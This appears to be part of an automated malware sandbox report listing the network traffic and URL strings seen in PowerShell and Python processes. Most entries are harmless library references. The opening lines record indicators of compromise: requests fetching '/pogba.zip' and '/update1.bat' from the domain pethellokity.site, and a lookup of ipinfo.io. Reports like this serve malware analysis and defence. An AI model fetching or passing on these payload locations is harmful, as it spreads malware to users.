Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /pogba.zip HTTP/1.1Host: pethellokity.siteConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /update1.bat HTTP/1.1Host: pethellokity.siteConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: pethellokity.site
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: utils.cpython-310.pyc.1935655346384.9.dr	String found in binary or memory: http://.../back.jpeg
Source: webdriver.cpython-310.pyc.1935655791120.9.dr	String found in binary or memory: http://127.0.0.1:4444/wd/hub
Source: webdriver.cpython-310.pyc.1935655791120.9.dr	String found in binary or memory: http://127.0.0.1:4444TNr7
Source: webdriver.cpython-310.pyc.1935655791120.9.dr	String found in binary or memory: http://127.0.0.1:4444TNr7r8
Source: utils.cpython-310.pyc.1935655786960.9.dr	String found in binary or memory: http://127.0.0.1:z
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25FEA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://artax.karlin.mff.cuni.cz/~mikulas/links/
Source: _mode_siv.cpython-310.pyc.1935617217792.9.dr	String found in binary or memory: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
Source: locale.py.3.dr	String found in binary or memory: http://bugs.python.org/
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2585B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue10811
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25A3B000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000009.00000003.2794781972.000001C2AC030000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2793230237.000001C2AB72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue14396.
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2585B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25850000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue14720
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25A3B000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000009.00000003.2794781972.000001C2AC030000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2793230237.000001C2AB72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue15756
Source: python.exe, 00000009.00000003.2723458990.000001C2AAA9D000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2722771173.000001C2AAA95000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2722491707.000001C2AAA9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue19619
Source: powershell.exe, 00000003.00000002.2875224830.000001EB259B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue24068.
Source: powershell.exe, 00000003.00000002.2875224830.000001EB256A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25698000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000009.00000003.2723393053.000001C2AB1E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue5845#msg198636
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue6857.
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25CFC000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000009.00000003.2796951237.000001C2AB422000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue874900
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: python.exe, 00000009.00000003.2799221435.000001C2AB456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.17.2713&rep=rep1&type=pdf
Source: python.exe, 00000009.00000003.2751417219.000001C2AB1C2000.00000004.00000020.00020000.00000000.sdmp, __init__.py30.3.dr	String found in binary or memory: http://code.activestate.com/recipes/259174/
Source: functools.cpython-310.pyc.3.dr	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: test_GCM.cpython-310.pyc.3.dr	String found in binary or memory: http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-revised-spec.pdf)
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2490C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf
Source: test_DES.py.3.dr	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-17/800-17.pdf
Source: python.exe, 00000009.00000003.2799093142.000001C2AC025000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2796810768.000001C2AC040000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2790176621.000001C2ABA6D000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2799093142.000001C2AC040000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2791453447.000001C2ABA6E000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2796702393.000001C2AB2A5000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2795050137.000001C2ABA6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
Source: cookiejar.py.3.dr	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: recipes.cpython-310.pyc.3.dr	String found in binary or memory: http://docs.python.org/library/itertools.html#recipes
Source: powershell.exe, 00000003.00000002.2875224830.000001EB259B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dx.doi.org/10.1080/03610928908830127
Source: context.cpython-310.pyc.3.dr	String found in binary or memory: http://foo/bar.tar.gz
Source: context.cpython-310.pyc.3.dr	String found in binary or memory: http://foo/bar.tgz
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26248000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://javascript.crockford.com/tdop/tdop.html
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25FEA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://lynx.browser.org/
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25FEA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://lynx.isc.org/
Source: powershell.exe, 00000003.00000002.2875224830.000001EB259B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mathworld.wolfram.com/SampleVariance.html
Source: powershell.exe, 00000003.00000002.2875224830.000001EB259B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mathworld.wolfram.com/Variance.html
Source: powershell.exe, 00000002.00000002.2214604153.000001B03F687000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2214604153.000001B03F544000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2197109998.000001B030EB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2490C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24938000.00000004.00000800.00020000.00000000.sdmp, Primality.cpython-310.pyc.3.dr	String found in binary or memory: http://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-4.pdf
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2490C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r4.pdf
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: test_DES.py.3.dr	String found in binary or memory: http://people.csail.mit.edu/rivest/Destest.txt
Source: powershell.exe, 00000003.00000002.2875224830.000001EB24637000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2197109998.000001B030AF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pethellokity.site
Source: powershell.exe, 00000002.00000002.2197109998.000001B02F4D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2504C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2506C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25056000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://site-with-no-cookie.python.org
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25CFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html
Source: _IntegerNative.py.3.dr	String found in binary or memory: http://stackoverflow.com/questions/15390807/integer-square-root-in-python
Source: test_ChaCha20.py.3.dr	String found in binary or memory: http://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-04
Source: test_ChaCha20.py.3.dr	String found in binary or memory: http://tools.ietf.org/html/draft-nir-cfrg-chacha20-poly1305-04
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2490C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24938000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6979
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25FEA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25FF5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://w3m.sourceforge.net/
Source: powershell.exe, 00000002.00000002.2197109998.000001B030B31000.00000004.00000800.00020000.00000000.sdmp, key_input.py.3.dr, mouse_button.py.3.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000003.00000002.2875224830.000001EB24637000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: win32gui_menu.py.3.dr	String found in binary or memory: http://www.codeguru.com/cpp/controls/menu/bitmappedmenus/article.php/c165
Source: _mode_siv.cpython-310.pyc.1935617217792.9.dr	String found in binary or memory: http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf
Source: python.exe, 00000009.00000003.2751417219.000001C2AB1C2000.00000004.00000020.00020000.00000000.sdmp, __init__.py30.3.dr	String found in binary or memory: http://www.demo2s.com/Tutorial/Cpp/0380__set-multiset/Catalog0380__set-multiset.htm
Source: powershell.exe, 00000003.00000002.2875224830.000001EB266B4000.00000004.00000800.00020000.00000000.sdmp, _asyncio.pyd.3.dr, libcrypto-1_1.dll.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: python.exe, 00000009.00000003.2751417219.000001C2AB1C2000.00000004.00000020.00020000.00000000.sdmp, __init__.py30.3.dr	String found in binary or memory: http://www.gnu.org/software/smalltalk/manual-base/html_node/Bag.html
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/character-sets
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25B07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/telnet-options
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2596E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26342000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ibiblio.org/xml/examples/shakespeare/hamlet.xml
Source: ECC.py.3.dr	String found in binary or memory: http://www.ietf.org/rfc/rfc1421.txt
Source: ECC.py.3.dr	String found in binary or memory: http://www.ietf.org/rfc/rfc1423.txt
Source: powershell.exe, 00000003.00000002.2875224830.000001EB259B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.johndcook.com/blog/2008/09/26/comparing-three-methods-of-computing-standard-deviation/
Source: powershell.exe, 00000003.00000002.2875224830.000001EB263FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB263DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB263E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.megginson.com/SAX/.
Source: ECC.py.3.dr	String found in binary or memory: http://www.openssh.com/txt/rfc5656.txt
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2653C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25056000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26358000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/sax/properties/encoding
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26358000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/sax/properties/interning-dict
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26248000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.pythonware.com
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25F1A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25F0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.robotstxt.org/norobots-rfc.txt
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25F1A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25F0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sitemaps.org/protocol.html
Source: cookiejar.py.3.dr	String found in binary or memory: http://wwwsearch.sf.net/):
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/external-general-entities
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/external-parameter-entities
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26358000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/namespace-prefixes
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/namespaces
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26358000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/string-interning
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26358000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/features/validation
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26358000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/properties/declaration-handler
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26358000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/properties/dom-node
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/properties/lexical-handler
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26358000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB26363000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.org/sax/properties/xml-string
Source: powershell.exe, 00000003.00000002.2875224830.000001EB2604F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://xml.python.org/entities/fragment-builder/internal
Source: python.exe, 00000009.00000003.2761539867.000001C2AB3C6000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2763184806.000001C2AB884000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2763723814.000001C2AB884000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2757926964.000001C2AB3C6000.00000004.00000020.00020000.00000000.sdmp, base64.py.3.dr	String found in binary or memory: http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25D86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://zooko.com/
Source: powershell.exe, 00000003.00000002.2875224830.000001EB256B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aiosmtpd.readthedocs.io/)
Source: powershell.exe, 00000002.00000002.2197109998.000001B02F4D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24411000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: android.cpython-310.pyc.3.dr	String found in binary or memory: https://android.stackexchange.com/a/216132
Source: powershell.exe, 00000003.00000002.2875224830.000001EB26269000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue17741
Source: python.exe, 00000009.00000003.2793230237.000001C2AB72B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue25942
Source: powershell.exe, 00000003.00000002.2875224830.000001EB256A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25698000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000009.00000003.2723393053.000001C2AB1E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue29585
Source: powershell.exe, 00000003.00000002.2875224830.000001EB259E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB259D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue31672
Source: powershell.exe, 00000002.00000002.2197109998.000001B030EB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2197109998.000001B030EB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2197109998.000001B030EB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/draft-miller-ssh-agent-04
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc1421
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc1423
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5208
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5656
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5915
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc5958
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc8032
Source: ECC.py.3.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc8709
Source: python.exe, 00000009.00000003.2727367935.000001C2AB25D000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2727559374.000001C2AB243000.00000004.00000020.00020000.00000000.sdmp, pywin32_bootstrap.py.3.dr	String found in binary or memory: https://docs.python.org/3/reference/import.html#__path__
Source: test_GCM.cpython-310.pyc.3.dr	String found in binary or memory: https://eprint.iacr.org/2013/157.pdfc
Source: fed_cm.cpython-310.pyc.3.dr	String found in binary or memory: https://fedidcg.github.io/FedCM/#browser-api-rp-sign-in)
Source: ECC.py.3.dr	String found in binary or memory: https://flak.tedunangst.com/post/new-openssh-key-format-and-bcrypt-pbkdf
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25681000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25679000.00000004.00000800.00020000.00000000.sdmp, python.exe, 00000009.00000003.2729452243.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2731311399.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2730167239.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2732908068.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp, python.exe, 00000009.00000003.2727367935.000001C2AB276000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/sit
Source: powershell.exe, 00000003.00000002.2875224830.000001EB25721000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/4325783
Source: powershell.exe, 00000003.00000002.2875224830.000001EB24637000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: functools.cpython-310.pyc.3.dr	String found in binary or memory: https://github.com/jaraco/jaraco.functools/issues/5
Source: powershell.exe, 00000003.00000002.2875224830.000001EB254CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25628000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB255D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2557B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25209000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25477000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25570000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2528B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB253C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2554B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB253EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB253A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2555A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25456000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB253F8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB252B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB2531D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB254E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB25498000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24E5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32
Source: powershell.exe, 00000003.00000002.2875224830.000001EB24FAF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2875224830.000001EB24FA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32/issues/1859
Source: PEM.cpython-310.pyc.3.dr	String found in binary or memory: https://github.com/openssl/openssl/blob/master/include/openssl/pem.h
